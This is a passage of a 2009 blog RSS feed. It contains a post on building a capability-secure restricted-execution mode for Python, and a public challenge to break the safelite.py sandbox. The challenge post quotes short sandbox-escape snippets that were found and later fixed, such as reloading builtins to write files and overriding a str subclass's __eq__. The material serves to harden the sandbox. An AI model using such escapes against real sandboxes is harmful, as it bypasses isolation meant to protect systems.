accounts hadn't even been used and were too recent to count as name-squatting!
&mdash; I got in touch with the Twitter folk and made my case.</p>
<p>But on the first go, my appeal got rejected and the issue was closed. After
being pissed off momentarily, I told myself off for depending on other people's
platforms and got in touch with the Twitter support staff who had closed the
issue.</p>
<p><a class="reference external" href="http://twitter.com/delbius">Del Harvey (&#64;delbius)</a> turned out to be quite
pleasant to engage and after a little while, my accounts were re-enabled. Woo!!</p>
<p>In the meantime, I had been helping out <a class="reference external" href="http://twitter.com/ryanwi">Ryan Williams (&#64;ryanwi)</a> on the Twitter-Dev list with getting Twitter OAuth
working on App Engine. I put this out as open source for others to use &mdash;
<a class="reference external" href="http://github.com/tav/tweetapp">tweetapp</a> &mdash; and promptly forgot about it.</p>
<p>But, much to my pleasant surprise, not only did it get picked up by a Google App
Engine Product Manager, <a class="reference external" href="http://twitter.com/mdrcode">Mike Repass (&#64;mdrcode)</a>,
but <a class="reference external" href="http://twitter.com/al3x">Alex Payne (&#64;al3x)</a>, the Twitter API lead made
the statement you see in the above image &mdash; which I discovered whilst reading
the <a class="reference external" href="http://github.com/blog/355-twitter-apps-on-app-engine">GitHub blog</a>!</p>
<p>And thus in the course of a week I had gone from being treated as a spammer by
Twitter Inc. to being appreciated by one of its leading members. Down and up we
go!</p>
<p>Lesson to take away from this? Just keep on providing demonstrable value and you
will be rewarded positively.</p>
<p>Have you had similar turnarounds with other organisations? Or perhaps even with
Twitter Inc. too? Let me know in the comments!</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/a-weeks-difference-in-the-twitterverse.html</feedburner:origLink></item><item>
    <title>Cutest LOLCat Ever</title>
    <guid isPermaLink="false">http://www.asktav.com/cutest-lolcat-ever.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Veba-DlgKsw/cutest-lolcat-ever.html</link>
    <pubDate>Wed, 25 Feb 2009 17:45:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I'm not a big fan of the whole <a class="reference external" href="http://en.wikipedia.org/wiki/Lolcat">lolcat meme</a>, but it does produce some fantastic
imagery sometimes. I was introducing my girlfriend to <a class="reference external" href="http://icanhascheezburger.com/">icanhascheezburger.com</a> yesterday and we came across this &mdash; possibly
the cutest LOLcat ever:</p>
<div class="center">
  <a href="http://icanhascheezburger.com/2008/11/25/funny-pictures-of-buddy-system-alwaiz-hold-hands/"><img src="http://release.plexnet.org/gfx/tav.blog/cutest-lolcat-ever.jpg" alt="1st rule of buddy system -- alwaiz hold hands" /></a>
</div>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/cutest-lolcat-ever.html</feedburner:origLink></item><item>
    <title>Paving the Way to Securing the Python Interpreter</title>
    <guid isPermaLink="false">http://www.asktav.com/paving-the-way-to-securing-the-python-interpreter.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/rP8dlJZwx9M/paving-the-way-to-securing-the-python-interpreter.html</link>
    <pubDate>Tue, 24 Feb 2009 15:37:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>[<strong>Note:</strong> This article isn't about securing the Python interpreter against
crashes/segfaults or exhaustion of resources attacks. For help with that, take a
look at the excellent <a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/sandbox.html">sandboxing features of PyPy</a>. Those of you wanting
to just know about the practical applications of this, scroll down to the bottom
of the article =)]</p>
<p>There have been many attempts to secure the Python interpreter so that untrusted
code can be safely executed alongside trusted code. Working attempts like
<a class="reference external" href="http://pypi.python.org/pypi/RestrictedPython/">RestrictedPython</a> and
<a class="reference external" href="http://pypi.python.org/pypi/zope.proxy">zope.proxy</a> unfortunately come at a
high cost in terms of performance.</p>
<p>Old-school Python hackers would probably remember the deprecated <tt class="docutils literal"><span class="pre">rexec</span></tt>
module which used to be enabled in the standard library. This module, along with
it's <tt class="docutils literal"><span class="pre">Bastion</span></tt> sibling, provided a framework for &ldquo;restricted execution&rdquo; of
Python code.</p>
<p>The rexec module encouraged a certain design pattern which depended on class
attributes being kept &ldquo;private&rdquo; from untrusted code. Unfortunately, Python's
introspection powers are heavily geared against this and there are many many
dark corners from which one can peer deep into the heart of classes.</p>
<p>So it was no surprise that, soon after the introduction of new-style classes in
Python, rexec was dumped. And all hopes of securing the Python interpreter in an
efficient way went the way of <a class="reference external" href="http://en.wikipedia.org/wiki/Plan_9_from_Bell_Labs">Plan 9</a>.</p>
<p>Now, those in the security world are probably aware of the <a class="reference external" href="http://en.wikipedia.org/wiki/Object-capability_model">Object Capability
model</a> of security as
pioneered by the likes of the <a class="reference external" href="http://en.wikipedia.org/wiki/Actor_model">Actors model</a> and the <a class="reference external" href="http://www.erights.org/">E language</a>. Entire Operating Systems have been implemented free
of viruses thanks to this model.</p>
<p>For <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2007-June/073724.html">a long while</a> I have
felt that there exists a major subset of Python that is suited for use through
the object capability model. After all <em>capabilities</em> are just non-forgeable
references. We already have this in Python.</p>
<p>The next step is to simply ensure that there is no global shared state. And
whilst a lot of existing code uses global shared state, there is nothing in the
Python language that imposes this limitation. Thus it should be possible to
isolate a capability-secure subset of Python and build up from there.</p>
<p>Since I've had this insight, the <a class="reference external" href="http://code.google.com/p/google-caja/">Google Caja</a> project have done the exact same for
Javascript. They identified a capability-secure subset of Javascript and have
built up from there&#8230;</p>
<p>So how can we Python hackers get beyond shared state? After all, there is no
&ldquo;private&rdquo; in Python. Right?</p>
<p>Well, not quite. We can use closures as an easy way of emulating a private scope
in Python. After all this is <a class="reference external" href="http://www.erights.org/elib/capability/ode/index.html">how it's done in other capability-based languages</a>. This is nothing new.
<a class="reference external" href="http://zesty.ca/">Ka-Ping Yee</a> had this <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2003-March/034287.html">insight on Python-Dev</a> years
ago!</p>
<p>But what about Python's various introspective powers you ask? Unlike the deep
plumbing of classes, Python's functions are relatively isolated and makes our
life much easier. This makes sense when you realise that Python classes are
actually syntactic sugar and sets of protocols on <em>top</em> of functions.</p>
<p>But functions aren't opaque beasts by default. There are a number of variables
which &ldquo;leak&rdquo; information. The ones I identified were:</p>
<ul class="simple">
<li>FunctionType.func_closure/__closure__</li>
<li>FunctionType.func_code/__code__</li>
<li>FunctionType.func_globals/__globals__</li>
<li>GeneratorType.gi_code</li>
<li>GeneratorType.gi_frame</li>
<li>type.__subclasses__</li>
</ul>
<p>And thanks to the <a class="reference external" href="http://tav.espians.com/a-challenge-to-break-python-security.html">Python security challenge using safelite.py</a> we've been
able to identify attributes of FrameType as additional ones, e.g.</p>
<ul class="simple">
<li>FrameType.f_locals</li>
</ul>
<p>As you can see this is a pretty small list. (Especial thanks to <a class="reference external" href="http://thepaulprog.blogspot.com/">Paul Cannon</a> for being the first with his <a class="reference external" href="http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html">hardcore hack</a> to show that
frame objects are accessible.)</p>
<p>Now this list is in no way the definitive final list. The Python challenge is
still ongoing &mdash; try <a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/safelite.py">safelite.py</a> yourself and see if
you can find more! But the fact that there have been no new exploits in the last
24 hours despite over a 1,000 unique downloads of safelite.py in the same time
gives me <em>some</em> confidence that we are getting towards a comprehensive list.</p>
<p>If we can ensure that untrusted code will never be able to access the final list
of these variables, then we can ensure that &ldquo;private&rdquo; data using closures stays
private. And from that basis, we can start building an object capability
framework in Python!!</p>
<p>In safelite.py, I use ctypes to completely remove these variables from the
Python interpreter. This is a neat approach which <a class="reference external" href="http://dirtsimple.org/">Phillip J. Eby</a> <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2007-June/073736.html">showed me</a> and means
that we can start building an object capability framework in Python <em>today</em>!</p>
<p>The flip-side of removing these variables however is that the code which uses
these variables won't work. Boo! So I made getter functions like
<tt class="docutils literal"><span class="pre">sys.get_func_code</span></tt> and patched the handful of functions in the standard
library like <tt class="docutils literal"><span class="pre">inspect.getargspec</span></tt> to use these instead.</p>
<p>The idea being that trusted code would have a reference to the <tt class="docutils literal"><span class="pre">sys</span></tt> module
and be able to use them whilst untrusted code would not. But <a class="reference external" href="http://www.python.org/~guido/">Guido van Rossum</a> &mdash; in the conversation that started <a class="reference external" href="http://code.google.com/p/googleappengine/issues/detail?id=671">here</a> &mdash; convinced
me that Python already has the support for doing this!</p>
<p>And this is where our old friend rexec deserves some thanking. It turns out that
rexec is only one half of Python's restricted execution support. The other half
has been living inside the Python Interpreter for well over a decade. For the
sake of simplicity let's call this PIRE &mdash; Python Interpreter's Restricted
Execution.</p>
<p>And since there is seemingly no comprehensive documentation of PIRE, I'll
provide a summary here.</p>
<p>Whenever you read/write an attribute on one of Python's builtin objects, it will
raise a <tt class="docutils literal"><span class="pre">RuntimeError</span></tt> stating that the attributed is restricted if both of
the following conditions are true:</p>
<ul class="simple">
<li>The attribute has a <tt class="docutils literal"><span class="pre">READ_RESTRICTED</span></tt> and/or <tt class="docutils literal"><span class="pre">WRITE_RESTRICTED</span></tt> flag set.</li>
<li><tt class="docutils literal"><span class="pre">PyEval_GetRestricted()</span></tt> returns True.</li>
</ul>
<p>The flags are set when members of an object are defined. For example, in
<tt class="docutils literal"><span class="pre">funcobject.c</span></tt> we find:</p>
<div class="syntax"><pre><span class="k">static</span> <span class="n">PyMemberDef</span> <span class="n">func_memberlist</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><br/>  <span class="p">{</span><span class="s">&quot;func_closure&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_closure</span><span class="p">),</span> <span class="n">RESTRICTED</span><span class="o">|</span><span class="n">READONLY</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;func_doc&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_doc</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;__doc__&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_doc</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;func_globals&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_globals</span><span class="p">),</span> <span class="n">RESTRICTED</span><span class="o">|</span><span class="n">READONLY</span><span class="p">},</span><br/>  <span class="p">{</span><span class="s">&quot;__module__&quot;</span><span class="p">,</span> <span class="n">T_OBJECT</span><span class="p">,</span> <span class="n">OFF</span><span class="p">(</span><span class="n">func_module</span><span class="p">),</span> <span class="n">WRITE_RESTRICTED</span><span class="p">},</span><br/>  <span class="p">{</span><span class="nb">NULL</span><span class="p">}</span>  <span class="c">/* Sentinel */</span><br/><span class="p">};</span><br/></pre></div>
<p>where <tt class="docutils literal"><span class="pre">RESTRICTED</span></tt> is just a shorthand for
<tt class="docutils literal"><span class="pre">READ_RESTRICTED|WRITE_RESTRICTED</span></tt>.</p>
<p>As for <tt class="docutils literal"><span class="pre">PyEval_GetRestricted</span></tt>, a pure Python equivalent would look like:</p>
<div class="syntax"><pre><span class="kn">import</span> <span class="nn">__builtin__</span><br/><br/><span class="k">def</span> <span class="nf">PyEval_GetRestricted</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;Return if the we are in restricted execution.&quot;&quot;&quot;</span><br/><br/>    <span class="n">current_frame</span> <span class="o">=</span> <span class="n">PyEval_GetFrame</span><span class="p">()</span><br/>    <span class="k">if</span> <span class="n">current_frame</span><span class="o">.</span><span class="n">__builtins__</span> <span class="o">!=</span> <span class="n">__builtin__</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="bp">True</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="bp">False</span><br/></pre></div>
<p>In other words, it checks to see if the <tt class="docutils literal"><span class="pre">__builtins__</span></tt> variable in the current
execution frame is the exact same as the default <tt class="docutils literal"><span class="pre">__builtin__</span></tt> module [Note
the difference in spelling of the two variables]. If they differ, restricted
execution is assumed.</p>
<p>Let's see how this works out in practice:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; import md5, inspect</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; def dummy(secret):</span>
<span class="doctest-input">...     &quot;&quot;&quot;A dummy function which creates a closure.&quot;&quot;&quot;</span>
<span class="doctest-input">...</span>
<span class="doctest-input">...     def get_secret_hash(hexdigest=True):</span>
<span class="doctest-input">...         if hexdigest:</span>
<span class="doctest-input">...             return md5.new(secret).hexdigest()</span>
<span class="doctest-input">...         return md5.new(secret).digest()</span>
<span class="doctest-input">...</span>
<span class="doctest-input">...     return get_secret_hash</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; get_secret_hash = dummy('My Secret.')</span></pre>
</blockquote>
<p>In normal execution, we can access the <tt class="docutils literal"><span class="pre">func_closure</span></tt> attribute:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; get_secret_hash.func_closure</span>
<span class="doctest-output">(&lt;cell at 0x23da10: str object at 0x23ef98&gt;,)</span></pre>
</blockquote>
<p>And use that to get at the secret:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; get_secret_hash.func_closure[0].cell_contents</span>
<span class="doctest-output">'My Secret.'</span></pre>
</blockquote>
<p>But if we set the <tt class="docutils literal"><span class="pre">__builtins__</span></tt> variable, restricted execution mode kicks in:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; __builtins__ = {}</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; get_secret_hash.func_closure</span>
<span class="doctest-output">Traceback (most recent call last):</span>
<span class="doctest-input">...</span>
<span class="doctest-output">RuntimeError: restricted attribute</span></pre>
</blockquote>
<p>Tada!!</p>
<p>Now the eagle-eyed amongst you would have noticed the import of the <tt class="docutils literal"><span class="pre">inspect</span></tt>
module above. We will use this to show how trusted code can still access
restricted attributes whilst within restricted execution. The inspect module has
a useful <tt class="docutils literal"><span class="pre">getargspec</span></tt> function which accesses restricted attributes to find a
function's signature. And, as we can see, it works even in restricted execution
mode:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; inspect.getargspec(get_secret_hash)</span>
<span class="doctest-output">(['hexdigest'], None, None, (True,))</span></pre>
</blockquote>
<p>Why does this work? Because the scope in which <tt class="docutils literal"><span class="pre">getargspec</span></tt> was <em>defined</em>
didn't have a custom __builtins__ and this was captured in the
<tt class="docutils literal"><span class="pre">getargspec.func_globals</span></tt>. This is just genius! And it provides us with a
framework on top of which we can build the object capability secure Python.</p>
<p>All we need to do is add the identified set of leak variables to the existing
set of restricted attributes. For those who are not familiar with the internals
of PIRE, I present a summary here of the <em>current</em> (in Python's SVN trunk) set
of restricted attributes.</p>
<p>The bitwise-OR-able flag contants are defined in <em>structmember.h</em>:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="30%" />
<col width="70%" />
</colgroup>
<tbody valign="top">
<tr><td><cite>READ_RESTRICTED</cite></td>
<td>Not readable in restricted mode.</td>
</tr>
<tr><td><cite>WRITE_RESTRICTED</cite></td>
<td>Not writable in restricted mode.</td>
</tr>
<tr><td><cite>RESTRICTED</cite></td>
<td>Not readable or writable in restricted mode.</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, instance method objects:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">im_class</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">im_func</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__func__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">im_self</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__self__</span></tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, class objects:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">__dict__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__class__</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>classobject.c</em>, instance objects:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">__dict__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__class__</span></tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>cPickle.c</em>:</p>
<blockquote>
A private copy of the Pickler registry tables is used when
PyEval_GetRestricted().</blockquote>
<p>In <em>fileobject.c</em>:</p>
<blockquote>
The file() constructor will raise an error when PyEval_GetRestricted().</blockquote>
<p>In <em>funcobject.c</em>, function objects:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">func_closure</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__closure__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_code</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__code__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_defaults</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__defaults__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_dict</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__dict__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_doc</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__doc__</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_globals</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__globals__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">func_name</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__name__</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__module__</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>marshal.c</em>:</p>
<blockquote>
Unmarshalling code objects will raise an error when PyEval_GetRestricted().</blockquote>
<p>In <em>methodobject.c</em>, bultin functions:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">__self__</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">__module__</span></tt></td>
<td>WRITE_RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>As you can see some of the &ldquo;leak&rdquo; attributes that I want to restrict are already
restricted in Python! All we need to do is add the following changes:</p>
<p>In <em>codeobject.c</em>:</p>
<blockquote>
Creating new code objects directly will raise an error when
PyEval_GetRestricted().</blockquote>
<p>In <em>frameobject.c</em>:</p>
<blockquote>
All attributes of Frame objects are restricted except for <tt class="docutils literal"><span class="pre">f_restricted</span></tt>.</blockquote>
<p>In <em>genobject.c</em>:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">gi_code</span></tt></td>
<td>RESTRICTED</td>
</tr>
<tr><td><tt class="docutils literal"><span class="pre">gi_frame</span></tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>In <em>typeobject.c</em>:</p>
<blockquote>
<table border="1" class="docutils">
<colgroup>
<col width="54%" />
<col width="46%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal"><span class="pre">__subclasses__</span></tt></td>
<td>RESTRICTED</td>
</tr>
</tbody>
</table>
</blockquote>
<p>The nice thing about this is that we can then use it in environments like
<a class="reference external" href="http://code.google.com/appengine/">Google App Engine</a>, where we cannot use
the ctypes-based approach.</p>
<p>Here's my patch for Python's SVN trunk: <a class="reference external" href="http://release.plexnet.org/misc/cappython/pytrunk.secure.patch">pytrunk.secure.patch</a></p>
<p>You can review the patch for acceptance into Python core here:</p>
<ul class="simple">
<li><a class="reference external" href="http://codereview.appspot.com/20051/show">http://codereview.appspot.com/20051/show</a></li>
</ul>
<p>With this patch in place (and assuming that there aren't more &ldquo;leak&rdquo; attributes
lying around), we can start building up a true, secure, object-capability
framework in Python.</p>
<p>We'd need to add things like import mechanisms and start whitelisting builtin
functions for use. This is a big undertaking and is one that I am committed to
&mdash; and will appreciate fellow collaborators who want to make this happen. That
includes you hopefully =)</p>
<p>Now, some of you may be wondering what the fuss is? Why bother creating such an
object capability framework in Python? For that let me give you a few use cases.
All on App Engine.</p>
<p><strong>Custom Templates by Users</strong></p>
<p>Web applications like Blogger don't allow users to customise their blogs using a
rich language. Instead they have a proprietary templating system which for the
most part is just variable substitution.</p>
<p>Imagine instead if you could let your users use a templating language like
<a class="reference external" href="http://genshi.edgewall.org/">Genshi</a>. Users could have the full expresivity
of the Python language to generate the output they want.</p>
<p>The problem with letting users do that today is that they would be able to use
it to get at the rest of your application and start doing evil things to your
database.</p>
<p>But with an object capability based framework in place, you could give users the
capability to execute Genshi templates without worrying about them somehow
getting access to your database.</p>
<p>And the nice thing about App Engine is that they already have something similar
to PyPy's sandbox running &mdash; so your users won't be able to segfault your
processes.</p>
<p><strong>UserScripts: Python Services in Apps</strong></p>
<p>Web applications like <a class="reference external" href="http://www.twitter.com">Twitter</a> and <a class="reference external" href="http://www.facebook.com">Facebook</a> provide APIs which let developers write services
which run on their own servers. Imagine instead a &lsquo;Plex&rsquo; application on App
Engine which allowed users to create and run arbitrary Python services on their
data.</p>
<p>Not only would this save resources &mdash; how many copies of Twitter's database are
there?? &mdash; but it could allow for interesting <em>and</em> composable services. Perhaps
even a <a class="reference external" href="http://tav.espians.com/espra-bootstrap.html">command line for the internet</a>?</p>
<p>Services could be provided with a minimal __builtins__ which allowed them to
access the <em>current</em> user's data and not anyone else's.</p>
<p>Here's a minimal example to get you thinking:</p>
<div class="syntax"><pre><span class="k">def</span> <span class="nf">create_safe_get</span><span class="p">(</span><span class="n">user_id</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="n">db</span><span class="p">):</span><br/>    <span class="k">def</span> <span class="nf">_safe_get</span><span class="p">(</span><span class="n">key_name</span><span class="p">):</span><br/>        <span class="k">return</span> <span class="n">db</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">user_id</span> <span class="o">+</span> <span class="n">key_name</span><span class="p">)</span><br/>    <span class="k">return</span> <span class="n">_safe_get</span><br/><br/><span class="n">safe_builtins</span><span class="p">[</span><span class="s">&#39;db_get&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">create_safe_get</span><span class="p">(</span><span class="s">&#39;tav&#39;</span><span class="p">)</span><br/><br/><span class="k">exec</span><span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="p">{</span><span class="s">&#39;__builtins__&#39;</span><span class="p">:</span> <span class="n">safe_builtins</span><span class="p">})</span><br/></pre></div>
<p>There are lots and lots of possibilities &mdash; imagine a GreaseMonkey-like system
but running on the server-side and with Python&#8230; the possibilities are only
limited by our imagination.</p>
<p>But in order for any of this to be possible, the patch has to be accepted first.
Guido has already promised to accept the patch (for both Core Python and App
Engine!) if it gets reviewed.</p>
<p>So, if you are a Python-Dev-er, can you please review it:</p>
<ul class="simple">
<li><a class="reference external" href="http://codereview.appspot.com/20051/show">http://codereview.appspot.com/20051/show</a></li>
</ul>
<p>If not, can you at least let <a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev">Python-Dev</a> know that you'd like to
see this patch through? Thanks!</p>
<p>Let me know what you think in the comments below.</p>
<p>&mdash; With love, <a class="reference external" href="http://twitter.com/tav">&#64;tav</a></p>
<style type="text/css">
  table.docutils { border-color: #ffffff; }
  table.docutils tr { border-color: #ffffff; }
  table.docutils tr td { border-color: #ffffff; }
</style>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" fileSize="8850" type="null" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://www.asktav.com/paving-the-way-to-securing-the-python-interpreter.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/11JlfxZx_Bk/safelite.py" length="8850" type="null" /><feedburner:origEnclosureLink>http://cloud.github.com/downloads/tav/plexnet/safelite.py</feedburner:origEnclosureLink></item><item>
    <title>A Challenge To Break Python Security</title>
    <guid isPermaLink="false">http://www.asktav.com/a-challenge-to-break-python-security.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/IZjcCfdBOts/a-challenge-to-break-python-security.html</link>
    <pubDate>Mon, 23 Feb 2009 22:12:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>[<strong>Update:</strong> You can find out more in my new article: <a class="reference external" href="/paving-the-way-to-securing-the-python-interpreter.html">Paving the Way to
Securing the Python Interpreter</a>]</p>
<p>The challenge is simple:</p>
<ul>
<li><p class="first">Open a fresh Python interpreter and do:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; from safelite import FileReader</span></pre>
</blockquote>
</li>
<li><p class="first">You can use <tt class="docutils literal"><span class="pre">FileReader</span></tt> to read files on your filesystem</p>
</li>
<li><p class="first">Now find a way to <em>write</em> to the filesystem from your interpreter</p>
</li>
</ul>
<p>You can find the latest version of safelite.py here:</p>
<ul class="simple">
<li><a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/safelite.py">http://cloud.github.com/downloads/tav/plexnet/safelite.py</a> [Current: <a class="reference external" href="http://cloud.github.com/downloads/tav/plexnet/safelite.py">v11</a>]</li>
</ul>
<p>I will keep safelite.py updated as new exploits and workarounds are found until
we hopefully end up with a version we can be confident about. [VERSION attribute
added on Steven D'Aprano's recommendation.]</p>
<p>If enough smart hackers look at this and it holds up, <a class="reference external" href="http://twitter.com/gvanrossum">Guido</a> promises to accept a patch which would enable
this function-based approach to security on both App Engine and future Python
versions.</p>
<p>So, please try the challenge and let me know how you find it in the comments.
Thanks!</p>
<p>Note: The aim of this isn't to protect Python against crashes/segfaults or
exhaustion of resources attacks, so those don't count.</p>
<p>Good luck and thanks! =)</p>
<p><strong>Exploits Found &amp; Fixed So Far:</strong></p>
<ul>
<li><p class="first"><a class="reference external" href="http://www.haypocalc.com/wiki/Victor_Stinner">Victor Stinner</a> and <a class="reference external" href="http://mail.python.org/pipermail/python-list/2009-February/530536.html">Tim
Wintle</a>
found the <a class="reference external" href="http://mail.python.org/pipermail/python-dev/2009-February/086406.html">first exploit</a>:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; reload(__builtins__)</span>
<span class="doctest-output">&lt;module '__builtin__' (built-in)&gt;</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; open('0wn3d', 'w').write('w00t\n')</span></pre>
</blockquote>
<p>[Fixed in v2]</p>
</li>
<li><p class="first"><a class="reference external" href="http://python.org/~guido/">Guido van Rossum</a> and <a class="reference external" href="http://twitter.com/eichin">Mark Eichin</a> came up with this devious:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; class S(str):</span>
<span class="doctest-input">...     def __eq__(self, o): return 'r' == o</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f = FileReader('w00t', S('w'))</span></pre>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; f.close() # creates an empty file called 'w00t'</span></pre>
</blockquote>
<p>[Fixed in v3]</p>
</li>
<li><p class="first"><a class="reference external" href="http://web.meson.org/">clsn</a> took it further and bypassed the fix in v4:</p>
<blockquote>
<pre class="doctest-block">
<span class="doctest-input">&gt;&gt;&gt; class S(str):</span>
<span class="doctest-input">...     def __eq__(self, o): return 'r' == o</span>
<span class="doctest-input">...     def __str__(self): return self</span></pre>
</blockquote>
<p>[Fixed in v5]</p>
</li>
